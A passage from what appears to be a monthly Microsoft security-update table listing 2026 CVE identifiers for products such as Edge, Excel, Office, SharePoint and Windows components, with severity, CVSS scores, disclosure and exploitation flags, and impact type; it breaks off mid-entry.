No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows 